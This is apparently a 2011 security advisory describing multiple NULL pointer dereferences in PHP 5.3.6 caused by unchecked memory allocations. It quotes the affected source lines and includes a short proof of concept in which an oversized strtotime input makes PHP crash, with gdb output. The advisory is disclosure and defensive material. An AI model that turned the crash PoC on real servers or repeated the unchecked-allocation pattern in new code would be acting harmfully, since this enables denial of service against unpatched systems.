PHP 5.3.6 multiple null pointer dereference

[ PHP 5.3.6 multiple null pointer dereference ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://securityreason.net/
http://cxib.net/

Date:

• Dis.: 20.07.2011
• Pub.: 19.08.2011

Affected Software (verified):
PHP 5.3.6 and prior

Fixed:
PHP 5.3.7

Original URL:
http://securityreason.com/achievement_securityalert/101

— 0.Description —
PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. It also has evolved to include a command-line interface capability and can be used in standalone graphical applications.

— 1. PHP 5.3.6 multiple null pointer dereference —
Some time ago we have reported list with possible NULL pointer dereferences in php 5.3.6. If user may change size of malloc, it's possible to get NULL pointer dereferences. I haven't enought time to check security impacts for all these bugs.

To demonstrate these flaws, we may use default memory limit in OpenBSD [512MB]. We should allocate a lot of memory like 510MB (still 2MB free). If some string is longer than 2MB (example 4MB), and php try copy this string using malloc/strlen etc then malloc return NULL. Then program is counting with possible NULL pointer dereference or buffer overflow sympthons.

Example:
http://cwe.mitre.org/data/definitions/690.html

where CWE-690 give CWE-476 NULL pointer dereference

good example for CWE-690 is

    tz->location.comments = malloc(comments_len + 1);
    memcpy(tz->location.comments, *tzf, comments_len);

This code may provide to null pointer dereference or simple crash with nulling memory with memset()

    in.str = malloc((e - s) + YYMAXFILL);
    memset(in.str, 0, (e - s) + YYMAXFILL);
    memcpy(in.str, s, (e - s));

Program received signal SIGSEGV, Segmentation fault.
0xbba7581c in memset () from /usr/lib/libc.so.12
(gdb) x/i $eip
0xbba7581c <memset+44>: rep stos %eax,%es:(%edi)
(gdb) x/x $eax
0x0: Cannot access memory at address 0x0
(gdb) x/x $edi
0x0: Cannot access memory at address 0x0

In this case, memset() overwrite the memory with 0x0 char. If attacker can put something else that 0x0, it would have security impact.

There are more interesting places, where user may try change size of malloc. See bellow

-id0-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/curl/interfacec?view=markup

820 if (!CRYPTO_get_id_callback()) {
821 int i, c = CRYPTO_num_locks();
822
823 php_curl_openssl_tsl = malloc(c * sizeof(MUTEX_T));
824
825 for (i = 0; i < c; ++i) {
826 php_curl_openssl_tsl[i] = tsrm_mutex_alloc();
827 }
828
829 CRYPTO_set_id_callback(php_curl_ssl_id);
830 CRYPTO_set_locking_callback(php_curl_ssl_lock);
831 }
-id0-end---------

-id1-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_date.c?view=markup
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_iso_intervals.c?view=markup
multiple malloc/calloc/realloc

323 uchar buf = (uchar) malloc(((s->lim - s->bot) +
BSIZE)*sizeof(uchar));
324 memcpy(buf, s->tok, s->lim - s->tok);

496 str = calloc(1, end - begin + 1);
497 memcpy(str, begin, end - begin);

346 s->errors->warning_messages =
realloc(s->errors->warning_messages, s->errors->warning_count *
sizeof(timelib_error_message));
347 s->errors->warning_messages[s->errors->warning_count -
1].position = s->tok ? s->tok - s->str : 0;
348 s->errors->warning_messages[s->errors->warning_count -
1].character = s->tok ? *s->tok : 0;
349 s->errors->warning_messages[s->errors->warning_count -
1].message = strdup(error);
-id1-end---------

-id2-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_tz.c?view=markup

210 tz->location.comments = malloc(comments_len + 1);
211 memcpy(tz->location.comments, *tzf, comments_len);
212 tz->location.comments[comments_len] = '\0';
213 *tzf += comments_len;
-id2-end---------

-id3-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/timelib.c?revision=305315&amp;view=markup

124 tmp->trans = (int32_t ) malloc(tz->timecnt * sizeof(int32_t));
125 tmp->trans_idx = (unsigned char) malloc(tz->timecnt *
sizeof(unsigned char));
126 memcpy(tmp->trans, tz->trans, tz->timecnt * sizeof(int32_t));
127 memcpy(tmp->trans_idx, tz->trans_idx, tz->timecnt *
sizeof(unsigned char));
128
129 tmp->type = (ttinfo*) malloc(tz->typecnt * sizeof(struct ttinfo));
130 memcpy(tmp->type, tz->type, tz->typecnt * sizeof(struct ttinfo));
131
132 tmp->timezone_abbr = (char*) malloc(tz->charcnt);
133 memcpy(tmp->timezone_abbr, tz->timezone_abbr, tz->charcnt);
134
135 tmp->leap_times = (tlinfo*) malloc(tz->leapcnt * sizeof(tlinfo));
136 memcpy(tmp->leap_times, tz->leap_times, tz->leapcnt *
sizeof(tlinfo));
-id3-end---------

-id4-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/pdo_odbc/pdo_odbc.c?view=markup

98 char *instance = INI_STR("pdo_odbc.db2_instance_name");
99 if (instance) {
100 char *env = malloc(sizeof("DB2INSTANCE=") +
strlen(instance));
101 strcpy(env, "DB2INSTANCE=");
102 strcat(env, instance);
103 putenv(env);
-id4-end---------

-id5-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/reflection/php_reflection.c?view=markup

238 class_entry->interfaces = (zend_class_entry **)
realloc(class_entry->interfaces, sizeof(zend_class_entry *) *
num_interfaces);
239 class_entry->interfaces[num_interfaces - 1] = interface_entry;
-id5-end---------

-id6-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/soap/php_sdl.c?view=markup

2368 prest = malloc(sizeof(sdlRestrictionChar));
2369 memset(prest, 0, sizeof(sdlRestrictionChar));
-id6-end---------

-id7-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/xmlrpc/libxmlrpc/base64.c?view=markup

26 b->data = malloc(sizeof(char)*(b->length));
27 b->data[0] = 0;

38 b->data = realloc(b->data, b->length);
39 b->ptr = b->data + b->offset;
-id7-end---------

-id8-start---------
http://svn.php.net/viewvc/php/php-src/trunk/TSRM/tsrm_win32.c?view=markup

532 cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c ")+2);
533 sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);
534 if (asuser) {
535 res = CreateProcessAsUser(token_user, NULL, cmd, &security, &security, security.bInheritHandle, dwCreateFlags, env, cwd, &startup, &process);
536 CloseHandle(token_user);
-id8-end---------

— 2. PoC (realloc/malloc) —
This proof of concept was verified on NetBSD with php 5.3.7.

127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127#
127# /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
error=0x83ea7d8 "Double timezone specification")
at /cxib/5371/ext/date/lib/parse_date.c:355
355 s->errors->error_messages[s->errors->error_count - 1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009

— 3. Fix —
Use PHP 5.3.7

— 4. Greets —
PHP Team for fixes and discussions.

sp3x infospec

— 5. Contact —
Author: Maksymilian Arciemowicz

Email:

• cxib {a\./t] securityreason [d=t} com

GPG:

• http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.net/
http://cxib.net/